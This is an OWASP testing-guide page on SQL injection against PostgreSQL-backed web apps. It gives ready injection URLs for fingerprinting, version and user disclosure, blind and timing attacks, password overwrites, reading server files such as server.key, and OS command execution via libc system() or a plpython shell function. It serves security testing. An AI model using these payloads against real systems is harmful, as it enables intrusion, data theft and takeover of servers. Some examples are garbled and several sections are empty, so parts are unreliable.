OWASP Backend Security Project Testing PostgreSQL

= Short Description of the Issue =

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:


 * PHP Connector allow multiple statements to be executed by using ; as a statement seperator
 * SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example: http://www.example.com/store.php?id=1--hello world http://www.example.com/store.php?id=1;--hello world

= Black Box testing and example =

Identifing PostgreSQL
When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using one of the above peculiarities:


 * String concatenation by using the operator: ||
 * Casting by using the operator: ::

Examples: http://www.example.com/store.php?id=1 AND '11'='1'||'1' http://www.example.com/store.php?id=1 AND 1::int=1

Banner Grabbing
Function version can be used to accomplish this task.

select version: PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Example:

http://www.example.com/store.php?id=1 Acme Biscuits

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version,NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection
For blind SQL Injection you should take in consideration internal provided functions:


 * String Length
 * LENGTH(str)
 * Extract a substring from a given string
 * SUBSTR(str,index,offset)
 * String representation with no single quotes
 * CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Timing Attacks
Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current session process sleep for n seconds.

On previous PostgreSQL version you can easy create a custom pg_sleep(n) by using libc:
 * CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote (un)Escape
String can be encoded, to prevent single quotes escaping, by using chr function.

* chr(n): Returns the character whose ascii value corresponds to the number * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root': select ascii('r') 114  select ascii('o') 111  select ascii('t') 116

We can encode 'root' with: chr(114)||chr(111)||chr(111)||chr(116)

Example: http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User
Current user can be retrieved with the following SQL SELECT statements:

SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername

Examples: http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database
Native function current_database return current database name.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database,NULL,NULL--

Reading from a file
ProstgreSQL provides two way to access local file:
 * COPY statement
 * pg_read_file internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between file and table. Thus in order to user it you need to enumerate at least one table and one column to store result within. How to enumerate tables and columns has been discussed on previous sections.

Example:

Let say you allready guess the existence of content text column in table contents belonging to current database. You can retrieve postgres client history with the following trick:

/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--

pg_read_file:

This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.

Examples:


 * SELECT pg_read_file('server.key',0,1000);

Shell Injection
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.

Dynamic Library
Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:
 * CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:


 * create a stdout table
 * CREATE TABLE stdout(id serial, system_out text)
 * executing a shell command redirecting it's stdout
 * SELECT system('uname -a > /tmp/test')
 * use a COPY statements to push output of previous command in stdout table
 * COPY stdout(system_out) FROM '/tmp/test'
 * retrieve output from stdout
 * SELECT system_out FROM stdout

 Example:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1--

plpython
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG


 * Check if PL/Python has been enabled on some databsae:
 * ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
 * If not assuming that sysadm has allready installed plpython package try to enable:
 * CREATE LANGUAGE plpythonu
 * If all of the above succeded create a proxy shell function:
 * CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read 'LANGUAGE plpythonu
 * Have fun with:
 * SELECT proxyshell(os command);

Example:

return os.popen(args[0]).read’ LANGUAGE plpythonu;-- ''
 * Create a proxy shell function:
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;


 * Run a OS Command:
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

Smashing dblink
= References =

= Tools =